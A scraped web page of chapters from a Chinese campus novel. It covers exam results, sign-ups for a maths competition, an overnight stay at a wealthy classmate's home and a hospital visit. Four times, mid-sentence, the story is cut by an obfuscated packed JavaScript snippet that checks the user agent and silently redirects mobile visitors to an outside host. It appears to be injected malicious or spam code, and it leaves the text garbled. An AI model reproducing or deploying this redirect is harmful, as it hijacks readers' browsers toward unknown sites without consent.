陈愿虽才三十出头,但习惯已经跟中老年人一样,最爱抱搪瓷杯泡菊花枸杞。对巧克力、奶茶一类的高热量食品从不感兴趣,零嘴都是瓜子花生一类令人索然无味的小吃。 陈愿道:“哦,这个,贺晴天。” 她招了招手,示意对方过来。 贺晴天一头雾水地走上前去,陈愿笑着指了指那杯奶茶:“给你买的,拿去喝吧。” 贺晴天挠挠头,有点不好意思地道了谢,拿着奶茶回座位了。 林跃羡慕地看了一眼:“我也想要……” 陈愿挑眉道:“行啊,下次你上七百也给你买。” 林跃瘪了瘪嘴:“就不能换个条件吗?” 陈愿白她一眼:“没志气,就不能回个‘下次的奶茶一定是给我的’吗?” 林跃:“老师,我对自己很有自知之明。” 周围人忍不住笑出声来。 有前排同学问道:“老师,你看成绩了?” 陈愿道:“嗯,这回考的都挺不错……” 班上同学听见这话微微骚动起来,一个个都伸长了脖儿生怕漏听一句。 陈愿瞥她们一眼,止住了话头:“行了,一个个好好写作业,成绩等你们班主任通知。” 大家闻言又泄了气,有的人还不死心地想再追问几句,都被陈愿以“这么闲给你多加点儿作业”恐吓回去了。 一直到晚自习下,成绩的消息除了江小松报的那点儿料,仍没有露出一点儿风声。大家只得歇了打听的心思,乖乖回去睡觉了。 直到第二天早自习,同学们经过一个晚上早把成绩的事儿忘到九霄云外去了,一个个正昏昏欲睡时,姜老师拿着成绩条进班了。 有眼尖的同学看见,忙同前后左右说了自己的发现,这么一个一个传下去,连爬桌子上打盹的同学都坐直了。 姜老师见状笑道:“成绩昨天下午就出了,专门留着今天早上说。昨天说你们准没心思自习,现在一说,瞧,精神这不就来了?” 大家闻言嘻嘻哈哈地笑起来。 成绩条很快发完了,贺晴天刚接过自己的成绩条,左右前后就都围过来看了。 后桌两条胳膊撑着桌子,努力探头去看,即便已经有了心理准备,她仍然被对方的分数惊到了:“716!班长,你这比去年省状元的成绩都高!” 贺晴天并不介意别人知道她的成绩,因此班上同学讨论时也没有顾忌。 知道了具体的分数,周围又一次炸了锅。如果不是还在上早自习,大家估计都会挤来看几眼。 林跃道:“语文142,数学150,英语145,文综279……这是怎么考到的分数啊!” 后桌摸了摸下巴,分析道:“其实想想也不意外,我有记班长的成绩,总分一直在六百八左右徘徊。主要是班长的英语太拉分了,每次只能考一百二多一点。提分空间本来就很大。” 陈杉一脸震撼:“你记得……真详细。” 后桌道:“那当然,我还记得,这是班长数学第五次满分了……哎?!” 一只手从后方伸出,压在了后桌的肩膀上将她按回了座位。 后桌茫然地一回头,就见姜老师笑眯眯地看着她:“说得挺好,我才发现你在这方面还挺有天赋嘛,比我们这些老师分析的都细致。唯一不足的是,如果能放在下课分析就更好了。” 后桌“嘿嘿”笑了两声,忙做了个封嘴巴的动作,示意自己不说话了。 姜老师走上讲台,就这次考试进行了一个简短的总结:“这次题难度是比以往简单……其实也没简单多少。但大家的成绩确实是出乎我们老师意料的高。每科成绩的情况之后各科老师应该都会专门说,我就光讲一下总分的情况。大家猜猜看,咱们班这次平均分是多少?” 林跃举起双手,梦了个大的。 “七百五!” 周围人“噗嗤”一下笑了。 姜老师无奈地扶了扶额:“咱们推测也要讲究一下实际。” “六百二?”陈杉中规中矩地猜道。 姜老师摇了摇头,笑着说:“低了。” 贺晴天道:“那六百三?” 姜老师又摇了摇头。 大家配合着猜了好几次,姜老师才终于公布了答案:“年级上是五百六十八,隔壁班六百四十七,咱们班是——” “六百五十二,年纪第一。” 班上静了片刻,又齐齐欢呼起来。 这次的笑声真能算是“整个年级就你们班声音最大”,但在走廊巡逻的年级主任路过了也罕见地没有吭声,竟也跟着班上同学笑了笑。 待下课铃一响,大家更是压不住兴奋劲儿,一个个走班串座地交谈起来。 林跃看了眼自己的成绩单,高兴道:“我这回六六二,没给咱班拖后腿!” 贺晴天闻言忙咳了一声,沈安宴也在后边儿踹了一脚前桌的凳子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392719|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林跃迷惑地回过头,就见陈杉神情恹恹地将成绩单塞回了桌兜。 她立刻意识到自己刚才那句话似乎有些没分寸了。 林跃忙溜到陈杉身侧,蹲下身子将下巴搭在对方桌上,讨好道:“哎呀杉杉,大课间要不要一起去打球?” 陈杉看她一眼,露出一个笑容:“你就知道打球。” 林跃一昂脑袋:“来嘛来嘛。” 陈杉无奈道:“行行行,来来来。” ———— 下午召开了年级大会,会上惯例给各科目成绩第一和文理科总排名前三的同学发了奖品,无外乎都是学习文具一类。贺晴天作为第一个上了七百分的同学,还多得了一个零食大礼包。 上晚自习时,贺晴天的桌子几乎被各种奖品堆满了。零食大礼包放在地上,桌上则是笔记本和钢笔。江小松非常自觉地坐在对方座位上,在一堆文具里挑挑拣拣。 “学校总算有点审美了,这次的笔记本还挺好看。晴儿,我要这个这个还有这个。” 贺晴天点了点头:“你拿吧。” 林跃搓搓手:“我也要我也要,刚好笔记本快用完了。” 贺晴天笑道:“可以,你们挑吧,不用给我留。” 迄今为止学校的年级大会已经召开有五六次了,次次发给学生们的奖励都是笔记本,贺晴天用都用不完,留够自己需要的后,剩下的都分给了同学。 江小松挑完本子,才心满意足地让开了位子。 贺晴天总算能坐回自己座位,她朝同桌看去:“小宴,你不要吗?” 沈安宴正走神,闻言一怔,疑惑道:“要什么?” 贺晴天指了指桌面:“笔记本。” 沈安宴道:“噢,不用啦,我没有记笔记的习惯。” 林跃惊奇道:“那你怎么复习?” 沈安宴:“呃,看课本?” 林跃不说话了,学霸的学习套路她不懂。 江小松把笔记本放回自己班后,又跑来觊觎好友的零食大礼包了。 “晴儿啊晴儿,能吃吗?”江小松三下五除二将大礼包拆开,挑出自己喜欢的零食后,抱着它眼巴巴地问道。 贺晴天:“……你都拆开了,我还能不让你吃吗?” 江小松“嘿嘿”两声,高兴地吃去了。 贺晴天把礼包往中间一放,朝左右招呼道:“大家有没有什么想吃的,随便拿。” 这下周围人都动起来了,嘴里天花乱坠地谢着班长大气威武,手上则快准稳地拿走了喜欢的零食。 于是晚自习前,一班同学都热热闹闹地吃上了夜宵。 31. 竞赛 在海城今年冬天的第一场雪到来时,两个班的同学正难得聚在一起听同一节课。 说课也不准确,这应该算是竞赛报名的指导活动,由陈愿老师来给大家讲。 她图方便,晚自习前让一班学生去二班找个地方坐下,两个班合到一起,她就不用再多讲一遍了。 尽管高二的学生已经能算个成年人了,但对于这种活动依旧新奇得紧,一个个热热闹闹地搬椅子过去了。 贺晴天还没来得及动手,江小松得了消息“呲溜”一下就来了一班,扛着好友的椅子往自己座位边上放去了。 “晴儿,你就坐我旁边了哈!” 临走前还抛下这么一句话。 林跃动作更快,她是第一个进隔壁班的,李欣然一见对方就笑着挥起了手,示意她坐自己旁边。 陈杉进来时则有些犹豫,她在隔壁班没有熟识的人,李欣然和江小松也有自己的伴儿,一时间有点局促地立在了后排寻找自己能坐的地方。 她朝前方看去时,正好跟刚睡醒的周天对上了视线。 周天还没搞清楚情况,她看了陈杉一眼,又看了看周围找地方坐的一班人,方才明白过来,还当对方是想坐自己这里,于是点点头应道:“你坐吧。” 陈杉:? 虽然不知道对方误解了什么,但有座位坐还是好的,她便顺势坐过去了。 沈安宴自然是想都没想就搬到顾辞江旁边坐了,坐下后前面的人转过头来,见了她乐道:“哟,到隔壁班儿了还要追着跟我当前后桌啊。” 正是林跃。 沈安宴挑眉笑道:“对对对,最喜欢坐你后边儿。” 林跃没打趣成功,反倒被对方给打趣回来了,一脸牙疼地抱臂摇了摇头,及时止损结束了二人的调侃。 逗完了林跃,沈安宴又跑去惹顾辞江。她凑到对方跟前,笑着问道:“做什么呢?” 顾辞江道:“在做题。” 沈安宴又凑近了点,也看起对方正在写的题目。 注意到身侧人的动作,顾辞江将习题册往边上移了移,方便对方看清。 写到一半,沈安宴忽然出声道:“这块儿错了。” 她点了点纸上一处答题步骤:“这个,忘记取绝对值了。” 顾辞江朝对方指的地方看去,又从头浏览了一遍,果然和对方说的一样。 他将错误的步骤划掉,同时问道:“你以前做过这道题?” 沈安宴笑道:“没,第一次写。” 顾辞江有些意外:“不用演算就能看出来哪里错了?” 沈安宴点点头。 前桌林跃听了,回头补充道:“她何止不用演算,我就没见过她写数学题用过演草纸,就搁那儿端坐着看一会儿,答案就写上去了。” 李欣然闻言震撼道:“这么厉害?” 她说这话时没压声量,陈愿正好走进班里,她往这边瞥了一眼,挑眉问道:“什么这么厉害?” 见老师来了,原本嘈杂的班级瞬间安静下来。大家听见这话你看看你我看看我,然后顺着陈愿的视线一起看了过去。 李欣然被周围人的目光盯得有点尴尬,她搓了搓指头,不知道该怎么回答。 林跃解释道:“在说盛宴,她写数学题不用稿纸,我们觉得太厉害了。” 周围又发出一片骚动,大家低声议论起来。二班人大都知道盛宴这个人,但和对方熟识的并不多,此时纷纷向身边人打听是不是真的。 陈愿笑道:“噢,这样。说起这个,我一开始见她写作业不动笔光动眼睛,还说过几回,没想到她是真能光动眼睛就能动会,我后来就不说什么了。” 有老师亲口认证,这事儿绝对保真了,教室里响起一片此起彼伏的惊叹声。 有人朝左右道:“那这样岂不是能省好多买草稿纸的钱?我以后也要试试光动眼睛写题。” 陈愿离得近,正好听见这话,忍不住朝对方翻个白眼儿:“这得你心算能力够好,心算不行的还是老老实实动笔去,要是舍不得买草稿纸的钱,那就来我这儿要吧,我给你出。” 那同学不好意思地挠头笑了笑。 李欣然也没成想自己一句话能引出这么多事,有些愧疚地回头朝沈安宴说了声“抱歉”。 沈安宴一开始还没反应过来,想了会儿才明白对方为什么说抱歉,不禁莞尔:“没事的,大家开开玩笑而已,不用放在心上。” 陈愿打开投影,一边将PPT投上去,一边朝沈安宴打趣道:“哎,盛宴,那这次的竞赛你可得参加了,不能辜负你这心算能力啊。” 沈安宴其实也不清楚竞赛的具体内容,但老师都这样说了,她也就笑着应了声“好”。 白板上很快投影出了画面,中央写着几个大字——“雅典娜大赛”。 陈愿讲解道:“这个竞赛大家应该多多少少都听过,没听过也不要紧,我简单讲一下。雅典娜竞赛是目前为止,数学领域最高规格、含金量最大的赛事,能在这个比赛里获奖,不论是以后填志愿还是出国——咱们文科班有出国留学计划的同学应该比较多吧,都很有助力。” 她说完这个,又将PPT切换到了下一页:“赛事总共分为初赛、决赛,还有之后的国际赛场,最后这个就不多说了,一是难度有点大,二是要真能到这一轮,会有专业老师给你们详细讲。初赛在省内选拔,大概就在年末举行。选上的同学寒假可以去参加冬令营,进行为期一月的培训,最后进行全国范围内的决赛。如果还能入围,就可以进入国家队去国际上比赛了。” 江小松举手问道:“老师,那个冬令营是去哪里培训啊,全封闭式的吗,住宿条件怎么样?” 陈愿道:“哦,这个……你们确实有把握能去参加冬令营,那就讲一讲吧。地点是隔壁繁花市的常青山,不陌生吧,咱们海城的旅游圣地。而且冬令营是不收费的,相当于你们能免费去旅游一个月。” 这下同学们的热情都高涨起来了,繁花市地如其名,最大的看点就是花,虽然最佳游览时间在春天,但冬天去也可以看梅花,常青山冬日雪景更是一绝,这一趟可不亏。 有同学问道:“老师,那我们要到山里去培训吗,住哪儿啊?” 陈愿道:“咱们省的竞赛组专门在山里租了一套公寓,两人间,上床下桌,有阳台和独立卫浴,设备也都不错,反正比咱们学校宿舍条件好。” 这下大家都激动起来了,一个个恨不得能早点去参赛进冬令营。 看见学生们一个个兴高采烈的表情,陈愿就知道自己不用再做参赛动员了,她笑着说:“行,那话不多说,咱们来看报名流程,走读生今天回家就可以报了,住宿生周末报也来得及,截止时间在下周一十二点,可别错过了。” 待竞赛讲解完毕,总共只用了二十分钟不到,陈愿将电脑一合,挥挥手让大家各回各班了。 江小松抱着贺晴天的胳膊,哀嚎道:“怎么这么快啊,我还想跟你多坐一会儿呢!” 贺晴天无奈:“那我多坐一会儿,等晚自习铃响再回去?” 江小松依依不舍:“哎,也只能这样。那咱们来玩儿一局五子棋?” 林跃本来正要走,见对面江贺二人那一副好像走了就再见不了面的架势,又犹犹豫豫地看向李欣然:“我再留一会儿?” 李欣然茫然道:“啊……啊?也行,但是你不回去写作业吗?在这儿写又不方便。” 说的在理,林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394205|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跃和好友一拍即合,利索地搬凳子回去写作业了。 沈安宴没急着走,她又靠近顾辞江,问道:“你打算参加比赛吗?” 顾辞江道:“嗯,打算今晚回去就报名。” 沈安宴问道:“那能帮我也报个名吗?我家里没电脑。” 顾辞江点了点头,正准备让对方把个人信息给他发一份,就听见对面说:“那今天晚自习下你稍微等一下我,咱们一起走。” 顾辞江:“……你要去我家?” 沈安宴看起来还挺理所当然的:“那不然你怎么填我的报名表呢。” 顾辞江想了想,一起的话确实更保险,也就没再反对,同意了对方的要求。 沈安宴高兴地笑了笑,起身拿上椅子,向对方告别:“那我走了,晚上见。” 顾辞江“嗯”了一声:“晚上见。” 两节晚自习很快过去,放学后,沈安宴背上书包,向左右道了别,就离开去隔壁班了。 顾辞江也拿着书包,正站在过道等她。见人来了,他才迈开步子,和对方并肩一起向校门口走去。 路边停着一边黑色的轿车,设计低调简洁,细节处却处处透露着高级。 待两人走近后,车子上下来一个中年男人,迎上前接过顾辞江的书包,在看到沈安宴时,男人愣了愣,犹疑地向顾辞江看去:“少爷,这……” 顾辞江解释道:“我同学。” 男人没再多话,又准备帮沈安宴提书包。 沈安宴忙摇了摇头,婉拒道:“不沉,我自己来就好。” 男人没有强求,转身打开后车门,待二人坐上后又将车门关好,才回驾驶位发动了车子。 夜色浓重,座位柔软舒适,车子行使地很平稳,困意自然而然涌了上来,沈安宴眼皮一合,很快陷入了沉睡。 顾辞江自觉两人的关系已经算熟稔了,因此不再像刚认识时总要制造话题避免冷场。对方没有说话,他也没有聊天的兴致,就由着两人之间陷入沉默。 司机在前座忍不住往后视镜看了好几眼,心说不是同学吗,怎么也不聊聊天,难道是不熟? 车子一个颠簸,沈安宴依旧睡着,身体却向一边倒去,正好靠在顾辞江肩上。 顾辞江微微一怔,转头看去时,才发现对方竟然睡着了。 他没有动,而是调整了一下自己的姿势,方便对方能靠得更舒服些。 司机从后视镜看到这一幕,忍不住又发起了愁。 他刚还疑惑两人是不是不太熟,现在又忧心起这两人是不是太熟了些。 等到了目的地,顾辞江才轻轻拍了拍身侧人的肩膀,见对方醒了,他低声提醒:“到了。” 沈安宴坐起身,看向窗外的别墅,布局大方优雅,没有一丝一毫多余的赘饰,倒是和她印象中顾家不喜张扬的风格一脉相承。 从车子到屋门口的距离不长,没一会儿就走到了。男管家立在门口,躬身问过好后,视线在沈安宴身上停留片刻,几不可查地皱了皱眉,将二人迎了进来。 “需要为您备饭吗?”男管家请示道。 顾辞江正打算拒绝,又想起什么,朝沈安宴问道:“你饿吗?要不要吃点东西?” 沈安宴道:“嗯,吃点吧。” 顾辞江问道:“好,那你想吃什么?” 沈安宴想了想:“蟹黄豆腐。” 顾辞江正准备说“好”,男管家却硬邦邦地插嘴回答:“这个没有了。” 顾辞江没多想:“那让人去买。” 男管家被哽了一下,又说:“佣人采购食材有固定的时间,现在去买怕要很久了。” 沈安宴道:“没事,有什么吃什么吧,我不挑的。” 32. 冬雪 点餐这一小小的风波过去后,顾辞江带着沈安宴去了自己卧室。 房间装潢素雅,陈设简洁,并没有这个年纪的学生大多喜欢的那几样——游戏机、漫画书或者零食饮料一类的东西。 书柜的陈列的都是经典名著或和金融有关的著作,和房门相对的那面墙被落地窗所替代,白天采光极佳,夜晚则可以看到美丽的江景和江对面一片璀璨的城市灯火。 屋子里唯一的装饰大概只有窗边小圆桌上的插花,是马蹄莲和百合,和整个屋子很相衬。 顾辞江为对方倒了水,让家里的佣人多搬来一把椅子,和沈安宴在书桌前并肩坐下了。 他打开电脑,登录网页点开报名表,朝对方问道:“你来填还是我帮你填?” 沈安宴托着下巴,闻言应道:“你来吧。” 顾辞江便帮对方填了。 “年龄?” “19。” “证件号。” “029886。” “籍贯。” “京城枫叶区。” “出生日期?” “新历127年……” 顾辞江停下打字的手,有些奇怪地看了对方一眼。 “127年?” 沈安宴咳嗽一声,这才反应过来自己下意识说了穿越前生日,她忙改口道:“刚脑子短路了,118年,118年12月31日。” 顾辞江“嗯”了一声,将新的日期填了上去,又笑道:“要真是127年,你现在小学还没毕业呢。” 沈安宴挠了挠头,和对方一起笑了,但心里却想着,这个时空的自己恐怕还真小学没毕业。 中途佣人送来了夜宵,顾辞江没怎么吃,于是那些点心全都进了沈安宴的肚子。 将报名表上的信息填完后,顾辞江将电脑屏幕转向对方,说道:“你看看,有没有需要改的。” 顾辞江办事儿沈安宴还是放心的,她浏览了一遍,点头道:“都对着,不用改。” 顾辞江便点了提交。 时间已经快十一点了,他问道:“你家在哪里?我让司机送你回去。” 沈安宴道:“在北街那边。” 这地方顾辞江没听过,他拿手机查了一下,发现过去要将近一个小时。 “太晚了,要么你今天就留在我家里住一晚?”他提议道。 沈安宴没怎么想就同意了。 顾辞江便叫佣人收拾一间客房,再准备一套新的换洗衣物和洗漱用具。 期间男管家的脸色不太好看,频频看了沈安宴好几眼。 沈安宴没多关注,她去客房换了衣服,洗漱完毕后,又跑来顾辞江卧室敲了敲门。 顾辞江正好填完自己的报名表,正准备去洗漱,听到敲门声说了声“请进”。 看到来人是沈安宴,他有些惊讶:“怎么了?是屋里有什么缺的吗?” 沈安宴看着他笑道:“没什么,就是想来和你说一声晚安。” 她眨眨眼:“晚安,辞江。” 顾辞江忽然有些不自在,他避开对方看来的目光,温声应道:“嗯,晚安。” 就在这天夜里,天上飘起了雪花。待第二天清晨起床,沈安宴一边刷牙一边拉开帘子,就被窗外的白光晃了眼。 待适应了那阵光后,她才朝外看去,就看到了满地的洁白。 喔,下雪了。 沈安宴有点惊喜。 海城的雪像糖霜,薄薄的一层,看着随时都会化掉的样子。不如京城雪景的壮丽,但也别有一番趣味。 她将牙膏泡沫吐掉,又拿清水洗了脸,一手擦脸上的水珠,一手将裤子和鞋子穿好。最后再将上衣一套,就出门下楼去了。 顾辞江早早就起床了,正坐在餐桌旁整理书包。见沈安宴出来了,提醒她道:“下雪了,记得多穿一些……” 沈安宴飞快地从楼梯上跑下,扬声回答:“我知道!我一起床就看见了!虽然有点小,但很漂亮!” 顾辞江看得担心,忙道:“你慢点,小心摔了……” 两人聊得专心,并没有注意到玄关处传来的响动。沈安宴下到最后三节台阶,轻巧地蹦了下去,又惯性向前跑了几步。 “放心,我身手好着呢!之前我在家每次下楼梯都是直接滑下来……” 她的声音戛然而止。拐角处忽然走出一个人,眼看着就要撞上,沈安宴忙刹住步子,来人也伸出胳膊扶了她一下,没让对方摔倒。 沈安宴抬头看去,对上了一双稍显冷淡的眼睛。 对面是个身材高挑的女人,年纪在四十上下,穿一身利落的白衬衫和西装裤,臂弯处则搭着一件外套。 她似乎刚结束了一场会议回来,身上还带着一点生人勿近的气场,见对面女孩停稳了,方才收回扶住对方的手。 佣人们看起来都有些怕她,表情和动作都小心翼翼了许多。男管家上前来,恭敬地接过对方的外套,轻声问候了一句“顾女士”。 顾辞江也站起身,快步走来喊了声“母亲”。 这下沈安宴明白对面人的身份了,顾家如今的掌权人,也是顾氏集团的拥有者——顾观海。 男管家道:“您怎么突然回来了,是有什么急事吗?” 顾观海道:“取个文件。这位是……” 她的目光放在了沈安宴身上。 沈安宴道:“顾阿姨好,我叫盛宴,是顾辞江的同学,有学业上的事来找他帮忙,这才上门叨扰了。” 顾观海点点头,回复了一句“不必客气”,又朝顾辞江嘱咐“招待好客人”,便上楼去书房了。 待对方离开,周围人明显松了口气,顾辞江也放松下来,带沈安宴去桌边用早餐了。 顾观海拿上文件,检查无误后,从书房离开时注意到在门口侯着的男管家。 对方双手交叠着放在腹部,一幅欲言又止的样子。顾观海扫他一眼,问道:“有什么事?” 男管家嗫嚅着:“顾女士……就是……” 顾观海道:“直接说,我时间有限。” 男管家这才竹筒倒豆子说出来了:“就是少爷带回来的那个同学,我觉得有些不太合适,昨天回来时我问少爷要不要吃晚饭,少爷没想吃,他那个同学倒是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415797|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客气,一问就要吃,一点礼貌也没有。而且深夜来异性同学家里,感觉也是个没分寸的……” 顾观海捏了捏眉心,抬手止住了对方毫无逻辑的话:“我知道了,你不用管,我会处理。” 男管家没听出家主的敷衍,还当自己做了件大好事,乐滋滋地走了。 却不知顾观海坐上车回公司时,心里已经琢磨着换人的事了。 为了顾辞江着想,除了家教老师,司机、管家、佣人,顾观海选的都是男性。毕竟顾父去世的早,她又没有再婚的打算,家里缺个男主人坐镇,又有个尚且年幼的男孩,女人多了总让人不放心。但如今顾辞江已经长大,她有只有这么一个孩子,心性能力也算不错,未来家里的生意大概是需要对方继承的。再让他在男人堆里待下去,万一养成个舅舅爹爹的性子,可就不好了。 想到这里,她给生活助理发去了信息:“这几天在家政公司找几个靠谱的人,换我家里来。” ———— 这周末,沈安宴去花店买了一束百合,怕坐公交车会压到花,还特意打车去了医院。 上次她生病住院时,和同层的姜暖林鹿二人交换了联系方式,住院期间几人相处地不错,之后空闲时间大家也保持着联络,偶尔会分享一点生活日常。 姜暖的孩子上个星期出生了,如二人所愿,是个女孩儿,林鹿拍了照片发给沈安宴看,小婴儿皮肤很红,眼睛闭着,像个皱巴巴的小猴子。 沈安宴便问她们自己这周末方不方便过来探望,二人欣然同意。 住院部周围被林木笼罩着,今天是个晴天,冬日的阳光总是温暖的,适合出来晒晒太阳。 沈安宴在路上注意到一个挺着肚子的女人,当然,在医院里孕妇并不少见,对方吸引她的不是因为怀着孕,而是她本人的样子有些奇怪。 女人身形消瘦,皮肤干巴,因此那只高高隆起的肚子就显得有些可怖。她面色灰败,毫无正常人应有的精神气,像是一具已经丢了魂儿的尸体。 大概是沈安宴的目光太过明显,或是女人本就对周遭的目光格外敏感,她的视线朝沈安宴看了过来。 女人看了看对方手上的花,露出了一个笑容:“你来探望朋友吗?” 沈安宴点点头:“嗯,在医院里认识的一个姐姐,她最近刚生孩子,我来拜访她。” 沈安宴并不觉得自己有哪里好笑,但女人却笑得合不拢嘴。 “哎呦,小姑娘,你来看孕妇,就带一束花吗?” 沈安宴犹豫道:“呃,主要我不知道那个姐姐喜欢什么,所以才送了花。” 女人摆摆手,给对方传授经验:“不是这个,人家生了孩子,你应该送些孩子需要的东西,奶粉啊,尿不湿啊什么的。送孕妇东西做什么?” 这是什么道理? 沈安宴不解道:“我是来看那位姐姐的,又不是来看孩子的。送东西当然要给朋友送,给朋友的孩子送什么?” 女人愣了愣,觉得对方说的似乎有些道理,但又无法认同。 沈安宴有点不喜欢这个女人,没再跟对方多说什么,抱着花离开了。 33. 传统 等电梯时,沈安宴遇到了一个熟人,正是许医生。 对方显然也记得她,笑着打了招呼:“是盛宴同学,对吧?” 沈安宴点头笑道:“是,许医生好。” 电梯门打开了,两人一起走进轿厢。 许医生见了她手上的百合花,笑着问道:“真漂亮,是给小暖送的吧?” 沈安宴应了声“是”。 许医生笑道:“她见了肯定高兴。” ———— 房门被人敲响了,在得到房间主人的许可后,访客方才推门走了进来。 姜暖和林鹿抬头看去,在见到来人时,脸上不禁露出了笑容,招呼道:“许医生,小宴。” 这几天大概常有人来拜访,床边备了好几把椅子。 沈安宴先将花束递给姜暖,才在椅子上坐下了。 姜暖道了谢,凑近花蕊轻轻嗅了嗅:“嗯,好香,你这花送得刚及时,房间里的花不新鲜了,我最近正打算换呢。” 林鹿接过花朵,在盛着清水的花瓶里放下了。 许医生也坐下了,她问道:“姜老师今天没在?” 姜暖笑道:“她跟朋友约着去爬山了。” 许医生笑着点点头:“爬山好,在医院坐久了,骨头都要散了,有时间我也去爬爬山。” 姜暖道:“哎,那您一定得去问我妈,她对爬山最熟了,要带什么装备,哪里风景好,她都知道。” 沈安宴左右看了看,好奇问道:“小暖姐,孩子在哪儿呢?” 姜暖道:“噢,在婴儿室里,她一天要睡二十多个小时,跟大人们待一起不方便。” 林鹿道:“你要是想看,我带你去瞧瞧。” 沈安宴的确有些好奇,就跟着林鹿去婴儿室了。里面很安静,房间色调柔和,小宝宝躺在床上,睡得正香。 沈安宴悄悄地看了她几眼,满足了好奇心后,就没再多打扰,跟着林鹿回房间了。 姜暖和许医生聊得正热闹,见二人回来了点头示意一下,就继续之前的话题了。 “我觉得怀孕还是太辛苦了,哎,之前我看科普,不是说胚胎在母体五个月的时候就成型了吗。您说有没有法子,可以减少怀孕所耗费的时间,直接在胚胎成型后就分娩出来,然后放在保温箱里慢慢发育。早产儿不就是这个理儿吗,听说还更聪明呢。”姜暖问道。 许医生摇了摇头:“这是谣言,哪有这种说法。而且早产的孩子存活率不高。不过你这个构想确实有一定可行性,目前医学界也在研究。” 姜暖点点头:“这个好,等怀孕的成本减小后,女人在职场的竞争力就能更强了。” 许医生又摇头了:“这是什么话,生育本就是自然规律,要让社会适应生育,怎么能反过来让生育去适应社会呢?” 姜暖道:“有道理。但生育又苦又累也是事实,能用技术让它更轻松些也好。” 许医生点点头:“但可能还需要些时间。” 姜暖笑道:“等得起,而且总部最近决定推行男性育儿假了,就是按您那个思路——让社会适应生育嘛。” 林鹿问道:“男性育儿假?那是什么?” 姜暖解释道:“就是一种强制性休假条款,如果有女性亲属怀孕生产,不管这个孩子最后生没生出来,只要怀孕了,那么其对应的男性亲属就必须要休至少三年的育儿假,优先级为兄弟、舅舅、丈夫、父亲。” 许医生有点疑惑:“怎么最先休假的是舅舅,不应该是丈夫吗?” 姜暖道:“看总部的意思,是想要慢慢淡化婚姻制度和一母一父式的家庭。” 许医生叹了口气:“我不太明白,看来我真是个老古董了,还是更习惯传统的家庭模式。” 离开时,沈安宴和许医生一起坐电梯下楼,待两人出电梯时,就听见外面传来一阵喧闹声。 两个形容粗鲁的男人一左一右跟着一个孕妇,虽然离得远听不太清,但从两个男人的神色上来看,他们估计没说什么好话。 那位孕妇沈安宴也面熟,正是她来时遇见的那位。 一个护士看不过眼,将两个男人训了几句,又恨其不争地朝孕妇说:“看你那窝囊劲儿,家里男人都蹬鼻子上脸了,也不知道管管。” 孕妇脸上露出些许迷茫的神色。 年纪较大的男人有点不忿,较年轻的男人拉住了他,又朝护士笑着赔了不是,推着二人赶紧走了。 沈安宴回过目光,正准备朝许医生道别,却见对方也注视着那一行人离开的背影。 沈安宴出声问道:“许医生?” 许医生这才回过头,只是表情看起来有些复杂。她调整好了情绪,又恢复了之前笑眯眯的样子:“嗯,怎么了?” 沈安宴问道:“您认识刚刚那些人?” 许医生道:“算认识,那位女士不出意外,应该是由我来为她接生。” 沈安宴道:“噢,这样。她们一家人看起来都挺奇怪的。” 许医生露出了一个感慨的笑容:“是啊,是很奇怪……” 她顿了顿,忽然道:“我之前还不理解,但现在想想,或许阿暖她们的想法是对的。传统家庭的模式,还是太落伍了。” ———— 这周回学校后,班上同学也都陆陆续续报名了雅典娜竞赛,最后统计一下人数,除了少数几个时间有冲突的同学放弃外,两个班基本全员参加。 连陈杉这种不擅长数学的同学也报名参赛了,美名其曰万一运气爆发冲进去了呢,就能得一次免费的常青山旅行。 陆舟来一班串门时,就听到大家正讨论着报没报竞赛的事。他了解过后,也嚷嚷着要来参加,当然最重要的原因还是沈安宴也参加了。 好在截止时间是周一十二点,现在去报名还来得及,他成功踩着点将自己的报名表提交了上去。 沈安宴对此有点忧虑:“你确定你会写竞赛的题?” 对方的数学还处于初中生水平,连高中基础卷都做不明白,沈安宴真不敢想竞赛题到陆舟手上会被答成个什么鬼样子。 陆舟笑嘻嘻道:“没事,我陪跑嘛。” 行吧,反正她又不是阅卷老师,糟心卷子不归她看,沈安宴也就不多操这份心了。 中途有同学凑过来八卦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 